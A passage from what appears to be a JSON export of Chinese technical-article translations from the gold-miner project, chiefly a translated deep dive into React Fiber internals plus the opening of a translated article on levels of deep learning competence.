Java\n\n* [Dagger](https://dagger.dev/)\n* [Spring](https://docs.spring.io/spring-framework/docs/current/spring-framework-reference/core.html#beans-introduction)\n* [Tapestry](https://tapestry.apache.org/ioc.html)\n\n#### Kotlin\n\n* [Koin](https://insert-koin.io/)\n\n#### Swift\n\n* [Dip](https://github.com/AliSoftware/Dip)\n* [Swinject](https://github.com/Swinject/Swinject)\n\n#### C#\n\n* [Autofac](https://autofac.org/)\n* [Castle Windsor](http://www.castleproject.org/projects/windsor/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/deep-dive-into-react-fiber-internals.md",
    "content": "> * 原文地址：[A deep dive into React Fiber internals](https://blog.logrocket.com/deep-dive-into-react-fiber-internals/)\n> * 原文作者：[Karthik Kalyanaraman](https://blog.logrocket.com/author/karthikkalyanaraman/) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/deep-dive-into-react-fiber-internals.md](https://github.com/xitu/gold-miner/blob/master/TODO1/deep-dive-into-react-fiber-internals.md)\n> * 译者：[MarchYuanx](https://github.com/MarchYuanx)\n> * 校对者：[JohnieXu](https://github.com/JohnieXu) [CoolRice](https://github.com/CoolRice)\n\n# 深入了解 React Fiber 内部实现\n\n![深入了解 React Fiber 内部实现](https://i1.wp.com/blog.logrocket.com/wp-content/uploads/2019/11/deep-dive-react-fiber-internals.jpeg?fit=730%2C486&ssl=1)\n\n你是否曾思考过当调用 `ReactDOM.render(<App />, document.getElementById('root'))` 时 React 内部到底发生了什么？\n\n我们知道 ReactDOM 会在后台构建 DOM 树并将应用渲染在屏幕上。那么 React 实际上是如何构建 DOM 树的呢？当应用的 state 改变时，它又如何更新 DOM 树？\n\n在本文中，我将先介绍在 React 15.0.0 之前 React 构建 DOM 树的原理，以及其不足之处，然后再讲解 React 16.0.0 新的 DOM 渲染机制。这篇文章将涵盖大量关于 React 内部实现原理的细节，对于在常规使用 React 进行项目开发，这些可能并非必须掌握的。以及这个新的渲染机制解决是如何解决前一版本的不足的。\n\n## 栈协调器\n\n让我们从之前提到的 `ReactDOM.render(<App />, document.getElementById('root'))` 这段代码开始。\n\n这里 `ReactDOM` 接收 `<App />` 作为参数，并将其传递给协调器（reconciler）。你可能会有如下两个疑问：\n\n1. `<App />` 指的是什么?\n2. 协调器（reconciler）又是什么?\n\n下面将来回答这两个问题。\n\n`<App />` 是一个 React 元素，用于描述 DOM 树的元素。\n\n> “React 元素是描述组件实例或 DOM 节点及其所需属性的普通对象。” —— [React 博客](https://reactjs.org/blog/2015/12/18/react-components-elements-and-instances.html#elements-describe-the-tree)\n\n换句话说，React 元素并非真实的 DOM 节点或组件实例，而是一种描述方式，用于描述 DOM 元素的类型、拥有的属性以及包含的子元素。\n\n这正是 React 的核心所在，React 将构建、渲染以及管理真实 DOM 树生命周期这些复杂的逻辑进行了抽象，从而有效地简化了开发人员的工作。要彻底理解这样做的独到之处，我们可以对比看一下使用传统的面向对象思想如何处理。\n\n在典型的面向对象的编程世界中，开发者需要实例化并管理每个 DOM 元素的生命周期。例如，如果开发者想要创建一个简单的表单和一个提交按钮，即使是对于它们的简单的状态管理，都需要开发者去单独维护。\n\n[](https://blog.logrocket.com/deep-dive-into-react-fiber-internals/)\n\n假设 `Button` 组件有一个 state 变量 `isSubmitted`。`Button` 组件的生命周期类似于以下流程图，其中每个 state 都需要由应用程序处理：\n\n![Button 组件生命周期流程图](https://i0.wp.com/blog.logrocket.com/wp-content/uploads/2019/11/button-component-lifecycle.png?resize=730%2C465&ssl=1)\n\n流程图的规模和代码行数随着 state 数量的增加而呈指数增长。\n\nReact 使用元素来巧妙地解决了这个问题。React 中存在两种元素：\n\n- DOM 元素: 当元素的类型为字符串时，例如 `<button class=\"okButton\"> OK </button>`\n- 组件元素: 当类型是类或函数时，例如 `<Button className=\"okButton\"> OK </Button>`，其中 `<Button>` 就是我们常用的典型的类组件、函数组件之一\n\n重要的是要了解这两种类型都是简单的对象。它们只是对需要在屏幕上渲染的内容的描述，在你创建、实例化它们时并不会有实际的渲染发生。这使得 React 更容易解析和遍历它们来构建 DOM 树。而实际的渲染将在遍历完成后进行。\n\n当 React 遇到一个类或一个函数组件时，它会询问该元素，根据它的 props 该元素应该如何渲染。例如，如果 `<App>` 组件渲染以下内容：\n\n```html\n<Form>\n  <Button>\n    Submit\n  </Button>\n</Form>\n```\n\n然后 React 会根据它们对应的 props 询问 `<Form>` 和 `<Button>` 组件它们渲染什么。例如，如果 `Form` 组件是一个函数组件，如下所示：\n\n```jsx\nconst Form = (props) => {\n  return(\n    <div className=\"form\">\n      {props.form}\n    </div>\n  )\n}\n```\n\nReact 会调用 `render()` 以了解它渲染的元素，并最终会看到它渲染了一个带有子元素的 `<div>`。React 将重复此过程，直到知道页面上每个组件的基础 DOM 标签元素为止。\n\n递归遍历树以了解 React 应用程序组件树的底层 DOM 标签元素的确切过程称为协调。在协调结束时，React 知道了 DOM 树的结果，并且像 react-dom 或 react-native 这样的渲染器将应用更新 DOM 节点所需的最小更改集。\n\n因此，这意味着当你调用 `ReactDOM.render()` 或 `setState()` 时，React 将执行协调。在 setState 的情况下，它执行遍历并通过将新树与已渲染的树进行区分来找出树中发生了什么变化。然后，将这些更改应用于当前树，从而更新与 `setState()` 调用相关的 state。\n\n现在我们了解了协调是什么，让我们看一下该模式的陷阱。\n\n哦，顺便说一句 —— 为什么将此称为“栈”协调器？\n\n此名称是从“栈”数据结构派生的，该数据结构是一种后进先出的机制。栈与我们刚刚看到的内容有什么关系？好吧，事实证明，由于我们实际上进行了递归，因此它与栈有关。\n\n## 递归\n\n要了解为什么会发生这种情况，让我们举一个简单的例子，看看[调用栈](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack)中会发生什么。\n\n```js\nfunction fib(n) {\n  if (n < 2){\n    return n\n  }\n  return fib(n - 1) + fib (n - 2)\n}\n\nfib(10)\n```\n\n![调用栈图](https://i1.wp.com/blog.logrocket.com/wp-content/uploads/2019/11/call-stack-diagram.png?resize=730%2C352&ssl=1)\n\n如我们所见，调用栈将每个对 `fib()` 的调用入栈，直到 `fib(1)` 出栈，这是返回的第一个函数调用。然后，它继续递归调用入栈，并在到达 return 语句时再次出栈。这样，它实际上使用了调用栈，直到 fib(3) 返回并成为出栈的最后一项为止。\n\n我们刚刚看到的协调算法是纯递归算法。更新导致整个子树立即重新渲染。虽然这很好用，但是有一些限制。如 [Andrew Clark 指出](https://github.com/acdlite/react-fiber-architecture)：\n\n- 在用户界面中，无需立即应用每个更新；实际上，这样做可能是浪费的，导致丢帧并降低用户体验。\n- 不同类型的更新具有不同的优先级 —— 动画更新需要比数据存储中的更新更快地完成。\n\n现在，当我们说丢帧时，我们说的是什么？为什么递归方法会出现这个问题？为了掌握这一点，让我从用户体验的角度简要说明什么是帧频以及为什么它很重要。\n\n帧频是连续图像出现在显示器上的频率。我们在计算机屏幕上看到的所有内容都是由屏幕上播放的帧或图像组成，并且以瞬时出现的速率显示。\n\n要理解这是什么意思，可以将计算机显示屏看作一本翻页书，而将翻页书的页面看作是翻页时以一定速率播放的帧。换句话说，计算机显示器不过是一本自动翻页书，当屏幕上的事物发生变化时，它会一直播放。如果不够清楚，请观看[此视频](https://youtu.be/FV97j-z3B7U)。\n\n通常，如果要让人眼对视频感觉到平滑并即时，那么视频需要以每秒 30 帧（FPS）的频率播放。高于此值将提供更好的体验。这就是为什么游戏玩家在玩第一人称射击游戏中喜欢更高的帧频的主要原因之一，精确度非常重要。\n\n话虽这么说，如今大多数设备以 60 FPS 刷新屏幕，换句话说就是 1/60 = 16.67ms，这意味着每 16ms 就会显示一个新帧。这个数字非常重要，因为如果 React 渲染器花费 16ms 以上的时间在屏幕上渲染某些东西，浏览器将丢帧。\n\n但是，实际上，浏览器有“家务活”要做，因此你的所有工作都需要在 10 ms 内完成。当你不能满足这个预算时，帧频下降，屏幕上的内容会抖动。这通常被称为 jank，会对用户体验产生负面影响。\n\n当然，对于静态和文本内容来说，这并不是什么大问题。但在显示动画的情况下，此数字至关重要。因此，如果每次有更新时 React 协调算法遍历整个 `App` 树并重新渲染，如果遍历时间超过 16 ms，则会导致令人讨厌的丢帧的问题。\n\n这就是为什么最好按优先级对更新进行分类，而不是盲目地应用传递给协调器的每个更新的重要原因。另外，另一个不错的功能是能够在下一帧中暂停和恢复工作。这样，React 可以更好地控制其渲染用的 16 ms 预算。\n\n这导致 React 团队重写了协调算法，新算法称为 Fiber。我认为有必要去了解 Fiber 是如何存在，为什么存在，它有什么意义。让我们看看 Fiber 是如何解决这个问题的。\n\n## Fiber 工作原理\n\n现在我们知道了 Fiber 的开发动机是什么，让我们总结实现 Fiber 所需的功能。\n\n再次，我将引用 Andrew Clark 所指出的：\n\n- 为不同类型的工作分配优先级\n- 暂停和恢复工作\n- 如果不再需要，就中止工作\n- 复用先前完成的工作\n\n实现这样的事情的挑战之一是 JavaScript 引擎的工作方式，并且在某种程度上该语言缺乏线程。为了理解这一点，让我们简要地探讨一下 JavaScript 引擎如何处理执行上下文。\n\n### JavaScript 执行栈\n\n每当你使用 JavaScript 编写函数时，JS 引擎都会创建所谓的函数执行上下文。另外，每次 JS 引擎启动时，它都会创建一个全局执行上下文，其中包含全局对象 —— 例如，浏览器中的 `window` 对象和 Node.js 中的 `global` 对象。这两个上下文都是在 JS 中使用栈数据结构（也称为执行栈）处理的。\n\n因此，当你编写如下内容时：\n\n```js\nfunction a() {\n  console.log(\"i am a\")\n  b()\n}\n\nfunction b() {\n  console.log(\"i am b\")\n}\n\na()\n```\n\nJavaScript 引擎首先创建一个全局执行上下文，并将其推入执行栈。然后为 `a()` 函数创建函数执行上下文。由于 `b()` 在 `a()` 内部被调用，它将为 `b()` 创建另一个函数执行上下文并将其入栈。\n\n当函数 `b()` 返回时，引擎将清除 `b()` 的上下文，而当我们退出函数 `a()` 时，将清除 `a()` 的上下文。执行期间的栈如下所示：\n\n![执行栈图](https://i2.wp.com/blog.logrocket.com/wp-content/uploads/2019/11/execution-stack.png?resize=534%2C822&ssl=1)\n\n但是，当浏览器发出像 [HTTP 请求](https://blog.logrocket.com/how-to-make-http-requests-like-a-pro-with-axios/)这样的异步事件时会发生什么？JS 引擎是存储执行栈并处理异步事件，还是等到事件完成？\n\nJS 引擎在这里做了一些不同的事情。在执行堆栈的顶部，JS 引擎具有队列数据结构，也称为事件队列。事件队列处理进入浏览器的异步调用，例如 HTTP 请求或网络事件。\n\n![事件队列图](https://i1.wp.com/blog.logrocket.com/wp-content/uploads/2019/11/event-queue-diagram.png?resize=730%2C542&ssl=1)\n\nJS 引擎处理队列中内容的方式是等待执行栈变空。因此，每次执行堆栈变空时，JS 引擎都会检查事件队列，将里面的项目弹出队列，然后处理该事件。需要注意的是，JS 引擎只在执行栈为空或执行栈中只有全局执行上下文时才检查事件队列。\n\n尽管我们称它们为异步事件，但这里有一个微妙的区别：事件相对于它们何时进入队列是异步的，但是相对于它们何时真正得到处理，它们并不是真正的异步。\n\n回到我们的栈协调器，当 React 遍历树时，它正在执行栈中执行。因此，当获得更新时，它们到达事件队列（某种程度上）。只有当执行堆栈为空时，更新才会得到处理。这正是 Fiber 通过智能功能几乎重新实现栈来解决的问题 —— 暂停、继续和中止等。\n\n在这里再次引用 Andrew Clark 所提到的：\n\n> “Fiber 是对栈的重新实现，专用于 React 组件。你可以将单个的 Fiber 视为虚拟栈的帧。\n>\n> 重新实现栈的优点是，你可以将栈帧保留在内存中，并根据需要（以及在任何时候）执行它们。这对于实现我们计划的目标至关重要。\n>\n> 除了调度之外，手动处理堆栈帧还可以开放并发和错误边界等功能。我们将在以后的章节中介绍这些主题。”\n\n简单来说，一个 fiber 相当于具有自己的虚拟栈的工作单元。在之前的协调算法实现中，React 创建了一个不可变的对象树（React 元素），并且递归遍历该树。\n\n在当前的实现中，React 创建了一个可以变化的 fiber 节点树。fiber 节点有效地保存组件的 state、props 和它渲染的底层 DOM 元素。\n\n而且由于 fiber 节点可以变化，React 不需要重新创建每个节点来进行更新 —— 它可以在更新时简单地克隆并更新节点。另外，对于 fiber 树，React 不会进行递归遍历。而是创建一个单链表，进行父级优先、深度优先的遍历。\n\n### fiber 节点的单链表\n\n一个fiber 节点代表一个栈帧，也代表一个 React 组件的实例。一个fiber 节点包括以下成员：\n\n#### 类型\n\n原生组件（字符串）的 `<div>`、`<span>` 等，复合组件的类或函数。\n\n#### 健\n\n与传给 React 元素的键相同。\n\n#### 子元素\n\n表示当我们在组件上调用 `render()` 时返回的元素。例如：\n\n```jsx\nconst Name = (props) => {\n  return(\n    <div className=\"name\">\n      {props.name}\n    </div>\n  )\n}\n```\n\n`<Name>` 的子元素是 `<div>`，因为它返回一个 `<div>` 元素。\n\n#### 兄弟元素\n\n代表 `render` 返回元素列表的情况。\n\n```jsx\nconst Name = (props) => {\n  return([<Customdiv1 />, <Customdiv2 />])\n}\n```\n\n在上述情况下，`<Customdiv1>` 和 `<Customdiv2>` 是父元素 `<Name>` 的子元素。这两个子元素组成一个单链表。\n\n#### 返回\n\n表示返回栈帧，从逻辑上讲，它是返回到父 fiber 节点。 因此，它代表父级。\n\n#### `pendingProps` 和 `memoizedProps`\n\n记忆化指存储函数执行结果的值，以便以后可以使用它，从而避免重新计算。`pendingProps` 表示传递给组件的 props，而 `memoizedProps` 在执行栈的末尾初始化，存储该节点的 props。\n\n当传入的 `pendingProps` 等于 `memoizedProps` 时，它表示 fiber 之前的输出可以复用，从而避免不必要的工作。\n\n#### `pendingWorkPriority`\n\n表示 fiber 工作优先级的数字。[`ReactPriorityLevel`](https://github.com/facebook/react/blob/master/src/renderers/shared/fiber/ReactPriorityLevel.js) 模块列出了不同的优先级及其代表的含义。除了为零的 `NoWork` 之外，数字越大优先级越低。\n\n例如，可以使用以下函数检查某个 fiber 的优先级是否至少与给定的级别一样高。调度程序使用优先级字段搜索要执行的下一个工作单元。\n\n```js\nfunction matchesPriority(fiber, priority) {\n  return fiber.pendingWorkPriority !== 0 &&\n         fiber.pendingWorkPriority <= priority\n}\n```\n\n#### 备用\n\n任何时候，一个组件实例最多具有两个与其对应的 fiber：当前 fiber 和进行中 fiber。它们互为彼此的备用。当前 fiber 表示已经渲染的内容，而进行中 fiber 从概念上讲是尚未返回的栈帧。\n\n#### 输出\n\nReact 应用程序的叶节点。它们专用于渲染环境（例如，在浏览器应用中，它们是 `div`、`span` 等）。在 JSX 中，它们用小写标签名表示。\n\n从概念上讲，fiber 的输出是函数的返回值。每个 fiber 最终都有输出，但是输出仅由原生组件在叶节点上创建。输出之后将传到树上。\n\n最终将输出提供给渲染器，以便可以将更改刷新到渲染环境。例如，让我们看看 fiber 树将如何查找代码如下所示的应用程序：\n\n```jsx\nconst Parent1 = (props) => {\n  return([<Child11 />, <Child12 />])\n}\n\nconst Parent2 = (props) => {\n  return(<Child21 />)\n}\n\nclass App extends Component {\n  constructor(props) {\n    super(props)\n  }\n  render() {\n    <div>\n      <Parent1 />\n      <Parent2 />\n    </div>\n  }\n}\n\nReactDOM.render(<App />, document.getElementById('root'))\n```\n\n![Fiber 树图](https://i0.wp.com/blog.logrocket.com/wp-content/uploads/2019/11/fiber-tree-diagram.png?resize=730%2C586&ssl=1)\n\n我们可以看到，fiber 树由相互链接的子节点的单链表（兄弟关系）和父子关系的链表组成。可以使用[深度优先搜索](https://en.wikipedia.org/wiki/Depth-first_search)遍历此树。\n\n### 渲染阶段\n\n为了理解 React 如何构建此树并对其执行协调算法，我决定在 React 源码中写一个单元测试，并附加一个调试器来追踪该过程。\n\n如果你对此过程感兴趣，复制 React 源码并导航到[此目录](https://github.com/facebook/react/tree/769b1f270e1251d9dbdce0fcbd9e92e502d059b8/packages/react-dom/src/__tests__)。添加一个 Jest 测试并附加调试器。我编写的测试是一个简单的测试，基本上是渲染一个带文本的按钮。当你点击按钮时，应用程序会销毁该按钮，并渲染一个带不同文本的 `<div>`，因此文本在这里是一个 state 变量。\n\n```jsx\n'use strict';\n\nlet React;\nlet ReactDOM;\n\ndescribe('ReactUnderstanding', () => {\n  beforeEach(() => {\n    React = require('react');\n    ReactDOM = require('react-dom');\n  });\n\n  it('works', () => {\n    let instance;\n  \n    class App extends React.Component {\n      constructor(props) {\n        super(props)\n        this.state = {\n          text: \"hello\"\n        }\n      }\n\n      handleClick = () => {\n        this.props.logger('before-setState', this.state.text);\n        this.setState({ text: \"hi\" })\n        this.props.logger('after-setState', this.state.text);\n      }\n\n      render() {\n        instance = this;\n        this.props.logger('render', this.state.text);\n        if(this.state.text === \"hello\") {\n        return (\n          <div>\n            <div>\n              <button onClick={this.handleClick.bind(this)}>\n                {this.state.text}\n              </button>\n            </div>\n          </div>\n        )} else {\n          return (\n            <div>\n              hello\n            </div>\n          )\n        }\n      }\n    }\n    const container = document.createElement('div');\n    const logger = jest.fn();\n    ReactDOM.render(<App logger={logger}/>, container);\n    console.log(\"clicking\");\n    instance.handleClick();\n    console.log(\"clicked\");\n\n    expect(container.innerHTML).toBe(\n      '<div>hello</div>'\n    )\n\n    expect(logger.mock.calls).toEqual(\n      [[\"render\", \"hello\"],\n      [\"before-setState\", \"hello\"],\n      [\"render\", \"hi\"],\n      [\"after-setState\", \"hi\"]]\n    );\n  })\n\n});\n```\n\n在初始渲染中，React创建一个当前树，该树是最初被渲染的树。\n\n`[createFiberFromTypeAndProps()](https://github.com/facebook/react/blob/f6b8d31a76cbbcbbeb2f1d59074dfe72e0c82806/packages/react-reconciler/src/ReactFiber.js#L593)` 是使用来自特定 React 元素的数据创建每个 React fiber 的函数。当我们运行测试时，在此函数处放置一个断点，并查看调用栈，它看起来像这样：\n\n![createFiberFromTypeAndProps() 调用栈](https://i1.wp.com/blog.logrocket.com/wp-content/uploads/2019/11/function-call-stack-1.png?resize=730%2C716&ssl=1)\n\n如我们所见，调用栈会追踪到一个 `render()` 调用，该调用最终会返回到 `createFiberFromTypeAndProps()`。这里还有一些我们感兴趣的其他函数：`workLoopSync()`、`performUnitOfWork()` 和 `beginWork()`。\n\n```js\nfunction workLoopSync() {\n  // Already timed out, so perform work without checking if we need to yield.\n  while (workInProgress !== null) {\n    workInProgress = performUnitOfWork(workInProgress);\n  }\n}\n```\n\n`workLoopSync()` 是 React 开始构建树的地方，从 `<App>` 节点开始，递归地转到 `<div>`、`<div>` 和 `<button>`，这些是 `<App>` 的子节点。`workInProgress` 保存对下一个有工作要做的 fiber 节点的引用。\n\n`performUnitOfWork()` 将一个 fiber 节点作为输入参数，获取该节点的备用节点，然后调用 `beginWork()`。这相当于在执行栈中开始执行函数执行上下文。\n\n当 React 构建树时, `beginWork()` 只会指向 `createFiberFromTypeAndProps()` 并创建 fiber 节点。React 递归执行工作，最终 `performUnitOfWork()` 返回 null, 表示它已到达树的末尾。\n\n现在，当我们执行 `instance.handleClick()` 时会发生什么，基本上是单击按钮并触发状态更新？在这个情况，React 遍历 fiber 树，克隆每个节点，并检查它是否需要在某些节点上执行某些工作。当我们查看这个情况的调用栈时，它看起来像这样：\n\n![instance.handleClick() 调用栈](https://i1.wp.com/blog.logrocket.com/wp-content/uploads/2019/11/function-call-stack-2.png?resize=730%2C517&ssl=1)\n\n尽管我们在第一个调用堆栈中没有看到 `completeUnitOfWork()` 和 `completeWork()`，但是我们可以在这里看到它们。就像 `performUnitOfWork()` 和 `beginWork()` 一样，这两个函数执行当前执行的完成部分，这实际上意味着返回到栈。\n\n如我们所见，这四个函数一起执行工作单元的工作，并且还控制当前正在完成的工作，这正是栈协调器中缺少的。如下图所示，每个 fiber 节点由完成该工作单元所需的四个阶段组成。\n\n![Fiber 节点图](https://i0.wp.com/blog.logrocket.com/wp-content/uploads/2019/11/fiber-node-diagram.png?resize=730%2C405&ssl=1)\n\n这里需要注意的是，在其子节点和兄弟节点返回 `completeWork()` 之前，每个节点都不会移动到 `completeUnitOfWork()`。例如，对于 `<App/>`，它从 `performUnitOfWork()` 和 `beginWork()` 开始，对于 Parent1，则转到 `performUnitOfWork()` 和 `beginWork()`，依此类推。一旦 `<App/>` 的所有子节点完成工作，它将返回并完成对 `<App>` 的工作。\n\n这是 React 完成其渲染阶段的时间。 基于 `click()` 更新而新建的树称为 `workInProgress` 树。这基本上是等待渲染的草稿树。\n\n## 提交阶段\n\n渲染阶段完成后，React 进入提交阶段，在提交阶段，基本上是交换当前树和 `workInProgress` 树的根指针，从而有效地交换当前树与基于 `click()` 更新创建的草稿树。\n\n![提交阶段图](https://i1.wp.com/blog.logrocket.com/wp-content/uploads/2019/11/commit-phase-diagram.png?resize=730%2C874&ssl=1)\n\n不仅如此，在交换根指针到 `workInProgress` 树后，React 还复用了老的当前树。这个优化过程的净效果是从应用程序的前一个状态平稳过渡到下一个状态，下下个状态，依此类推。\n\n那么 16 ms 的帧时间呢？React 有效地为正在执行的每个工作单元运行一个内部计时器，并在执行工作时持续监视此时间限制。时间一到，React 就会暂停当前正在执行的工作单元，交给主线程控制，并让浏览器渲染此时完成的所有内容。\n\n然后，在下一帧，React 从它停止的地方开始，继续构建树。然后，当有足够的时间，它会提交 `workInProgress` 树并完成渲染。\n\n## 结论\n\n希望你喜欢这篇文章，如果有任何意见或问题，请在文章后面评论留言。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/deep-learning-competence.md",
    "content": "> * 原文地址：[3 Levels of Deep Learning Competence](https://machinelearningmastery.com/deep-learning-competence/)\n> * 原文作者：[Jason Brownlee](https://machinelearningmastery.com/author/jasonb) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/deep-learning-competence.md](https://github.com/xitu/gold-miner/blob/master/TODO1/deep-learning-competence.md)\n> * 译者：[Hearfishle](https://github.com/Hearfishle)\n> * 校对者：[portandbridge](https://github.com/portandbridge), [ezioyuan](https://github.com/ezioyuan)\n\n# 深度学习能力的三个等级\n\n[深度学习](https://machinelearningmastery.com/what-is-deep-learning/)不是一颗灵丹妙药，但是在许多非常具有挑战性的领域里它已经证明了自己的高效。\n\n这意味着企业对高效的深度学习从业者的需求量巨大。\n\n问题是，一般的企业如何去鉴别这些从业者的好坏？\n\n作为一名深度学习的从业者，你如何用最好的方式去证明你可以提供熟练的深度学习模型？\n\n在这篇文章中，你将了解胜任深度学习的三级能力，并且作为一个从业者你需要在每一层次具有怎样的表现。\n\n在阅读本文之后你将了解：\n\n*   评估深度学习能力水平的问题，最好是通过项目作品集去解决。\n*   三个能力级别的层次结构可被使用去给从业者分类，并且提供一个框架去明确从业者所应具备的技能。\n*   初学者最常犯的错误是认为刚开始学就想达到等级 3，他们想一次学会所有的能力，从而导致了困惑和挫败感。\n\n让我们开始吧。\n\n![深度学习能力的三个等级](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/03/The-Three-Levels-of-Deep-Learning-Competence.jpg)\n\n深度学习能力的三个等级\n照片由 [Bernd Thaller] 拍摄，所属权归拍摄者\n\n## 概述\n\n本文分为三个部分，分别是：\n\n1.  如何评估（深度学习）能力\n2.  建立深度学习作品集\n3.  深度学习能力的等级\n\n## 如何评估（深度学习）能力\n\n你如何知道一个从业者有能力做深度学习？\n\n这是个艰难的问题。\n\n*   一个科研人员也许可以把一个技术的数学性讲述的很好并且提供一系列的论文。\n*   一个开发人员使用直观的解释和一系列的 API 也能把技术讲明白。 \n\n他们都看似非常懂。\n\n但是，一个真正的商业项目是不需要解释的。\n\n我们需要使用模型去做有效的预测，我们需要的是结果。\n\n结果胜过一切。\n\n就是这样，结果胜过那些传统的能够代表能力的东西，诸如教育背景，工作履历和经验水平。\n\n大部分开发者和招聘开发者的经理已经明白了这个道理。\n\n但一些人还没有。\n\n## 建立一个深度学习作品集\n\n回答从业者是否胜任这一问题，最好的方法是去展示（能力）而不是告知（招聘者）。\n\n从业者必须提供证据去证明他们理解如何去应用深度学习的技术，并且使用他们去开发高效的模型。\n\n这意味着要使用开源仓库和可用的公共数据集去开发一个[公开作品集](https://machinelearningmastery.com/build-a-machine-learning-portfolio/)。\n\n这样做有很多的好处，因为：\n\n*   展示你倾注技巧搭建的模型。\n*   让别人审阅代码。\n*   捍卫你的设计决定。\n\n（在作品集中）如实地讨论真实项目，就能让人很快弄清，从业者是不是真的理解这些项目。\n\n*   为了评估这个能力，雇主必须要求从业者提交包含已完成工作的作品集，然后着重进行查阅。\n*   为了证明这个能力，深度学习的从业者必须建立和维护一个已完成的项目的作品集。\n\n作为一个从业者，问题变成了：有哪几个能力等级，每个等级又有什么样的能力期望？\n\n## 深度学习能力的等级\n\n从业者应该认真的选择要开发的项目，因为它还可以用来去证明你的技术能力。\n\n在本节中，我们将概述深度学习能力的等级以及作为一名从业者，您可以开发和实施的项目类型，以便从中学习、获取和展示每一级能力水平。\n\n深度学习能力分为三个等级，分别是：\n\n*   **等级 1**：建立模型\n*   **等级 2**：调试\n*   **等级 3**：应用\n\n这可能不完整，但是为商业开发中的从业者提供了一个良好的出发点。\n\n对等级划分的一些解释：\n\n*   假设你早已是一个机器学习从业者，并不是从零开始。\n*   并不是所有的商业开发都要或者可以完美使用等级 3 的从业者。\n*   许多从业者想一开始就进入第 3 级，并且想很快搞清楚 1 级和 2 级的事情。\n*   等级 2 常常被忽视，但是我认为它是关键，（因为可以）证明有更深入的理解。\n\n其他没有被讨论到的可能和能力相关的话题还有从零开始写代码、处理大数据和数据流、GPU 编程、开发新的方法，等等。\n\n如果你有关于能力等级或者项目的想法。请在下面的评论里展示出来让我知道。\n\n现在让我们把目光放回到每个等级上。\n\n## 等级 1：建模\n\n能达到这一深度学习能力的等级意味着你早已是一个机器学习从业者了。\n\n这是最低的等级并且意味着你可以在传统的机器学习项目中高效地使用工具和方法。\n\n但这并不意味着要你去有个更高级的证书或者你是什么项目大牛。相反，这意味着你熟悉应用机器学习的基础知识和能够从头到尾的建立预测性建模项目端到端工作的过程。\n\n这并不是一个严格的先决条件。因为如果需要的话，这些元素可以被快速的学会。\n\n这一等级的能力，会有以下表现：\n\n*   **库能力**：你（应该）知道如何去使用一个开源的深度学习库去开发一个模型。\n*   **建模能力**：你知道如何去应用使用神经网络去开发机器学习的过程。\n\n### 库能力\n\n库能力意味着你知道如何去搭建一个开发环境并且使用最普遍的 API 层去定义，加载，并且使用神经网络模型去预测。\n\n这也意味着你知道每种神经网络模型最基本的差异，以及使用它的最佳时机。\n\n这并不意味着你知道每种函数过程和每种参数。这也不意味着你知道具体技术的数学描述。\n\n### 建模能力\n\n建模能力意味着你知道如何使用神经网络模型从头到尾地去完成一个机器学习项目。\n\n具体而言，这意味着你有能力完成如下事情：\n\n*   判断监督学习问题并且收集相关数据。\n*   准备数据，包括特征选择，输入损失值，缩放和其他转换。\n*   使用目标测试工具评估一套模型和模型架构。\n*   选择和准备一个最终的模型并且使用它去对新数据进行预测。\n\n这些能力意味着你可以高效的驾驭神经网络使之用于新项目的开发和建立有效模型上。\n\n这一能力并不表示，你是应用所有或者一些神经网络技术的专家，或者你可以获得最好的结果。这也不意味着你熟悉所有数据类型。\n\n### 项目\n\n展示这种能力水平的项目应该是使用开源的深度学习库（比如 Keras），并在公开的机器学习数据集上显示应用机器学习过程的每一步。\n\n这并不意味着要去实现对数据集的最佳预测结果，甚至不意味着使用神经网络是数据集的最佳可能模型。相反，你的目标应该是展示自己使用神经网络的能力，而最有可能用到的是比较简单的模型，比如多层感知机。\n\n一个不错的数据集资源是在 1990 年到 2000 年被广泛使用的小型内存数据集。可以用它去证明机器学习甚至是神经网络的表现。例如在 [UCI Machine Learning Repository](https://archive.ics.uci.edu/ml/index.php)列表中的一些。\n\n数据集很小，很容易在内存中容纳，这意味着项目的范围也很小，允许使用健壮的模型评估方案。如 